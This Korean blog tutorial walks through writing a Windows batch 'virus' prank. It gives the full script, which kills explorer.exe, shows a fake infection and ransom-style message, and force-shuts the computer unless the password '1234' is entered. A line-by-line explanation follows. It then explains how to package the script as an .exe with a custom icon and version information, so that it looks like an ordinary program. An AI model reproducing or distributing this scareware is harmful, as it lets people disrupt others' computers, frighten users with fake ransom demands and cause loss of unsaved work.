CMD를 이용해서 바이러스성 프로그램을 만들어 보겠습니다!
바이러스와 랜섬웨어를 이해할 수 있는 프로그램입니다ㅎㅎ
메모장을 연 후 다음 코드를 작성합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29 |
@echo off
cls
color 17
taskkill /f /im explorer.exe
cls
echo DongTeacher
echo 당신은 치명적인 악성코드 Dong 버전에 감염되었습니다.
shutdown -s -t 100
echo 복구 방법 : kujung.tistory.com에 이메일을 남겨주세요.
set /p password=비밀번호:
if %password%==1234 goto case2
:case1
cls
echo WRONG PASSWORD..! 비밀번호가 틀렸습니다. 컴퓨터가 종료됩니다.
shutdown -a
shutdown -s -t 1
exit
:case2
cls
echo 비밀번호가 맞습니다. 강제종료가 취소되었습니다.
shutdown -a
start C:\Windows\explorer.exe
pause |
cs |
모든 명령어는 cmd에서 적용가능한 명령어들입니다.
한 문장씩 cmd에 입력해보는 것도 좋은 방법입니다.
결국 cmd는 이 텍스트 파일을 한 문장씩 순서대로 읽으며 명령어를 실행하게됩니다.
코드를 분석해보겠습니다.
1 : cmd 명령어 입력창에 파일경로를 없애줍니다.
2 : 화면을 지워줍니다.
4 : cmd 화면색,글자색을 지정합니다.
현재 1(파랑색)7(흰색), color /? 명령어를 통해서 알 수 있습니다.
6 : 가장 핵심이 되는 코드입니다. explorer.exe를 죽여줍니다. 빈 화면을 만들어줍니다.
start C:\Windows\explorer.exe을 통해 복구합니다.
8 : printf와 같은 기능입니다. 화면에 글자를 출력합니다.
10 : 100초후에 컴퓨터가 종료됩니다.
14 : set은 변수에 값을 담는 명령어 입니다 /p를 통해서 사용자에게 직접 입력받습니다.
15: if 조건문을 통해서 입력받은 값과 기존 값을 비교합니다. 참이라면 case2로 이동합니다.
20 : 컴퓨터 종료대기를 취소하는 코드입니다. 새로운 종료를 만들기위해서 기존 종료대기를 취소합니다!
21 : 1초후 컴퓨터를 종료합니다.
22 : cmd창을 종료합니다.
28 : 화면을 다시 정상적으로 출력해줍니다.
코드를 작성한 후 .bat 형식으로 저장해줍니다.
그 다음 파일을 눌러서 실행해봅니다!
괜찮은 프로그램이 만들어졌습니다 하하
더욱 완성된 프로그램으로 발전시켜보겠습니다.
Bat To Exe Converter라는 프로그램을 다운받습니다.
bat파일을 exe파일로 변환해주는 프로그램입니다.
다운받은후 bat파일을 올려줍니다.
버전 정보로 들어가서 재미나게 입력해줍니다.
아이콘 이미지도 취향껏 넣어주세요.
버전정보를 확인해보세요!!
CMD로 초간단 바이러스 프로그램 만들기 끝!!
'똥 만들기 > 프로젝트' 카테고리의 다른 글
[프로젝트]아두이노 스마트 가로등 (0) | 2017.08.06 |
---|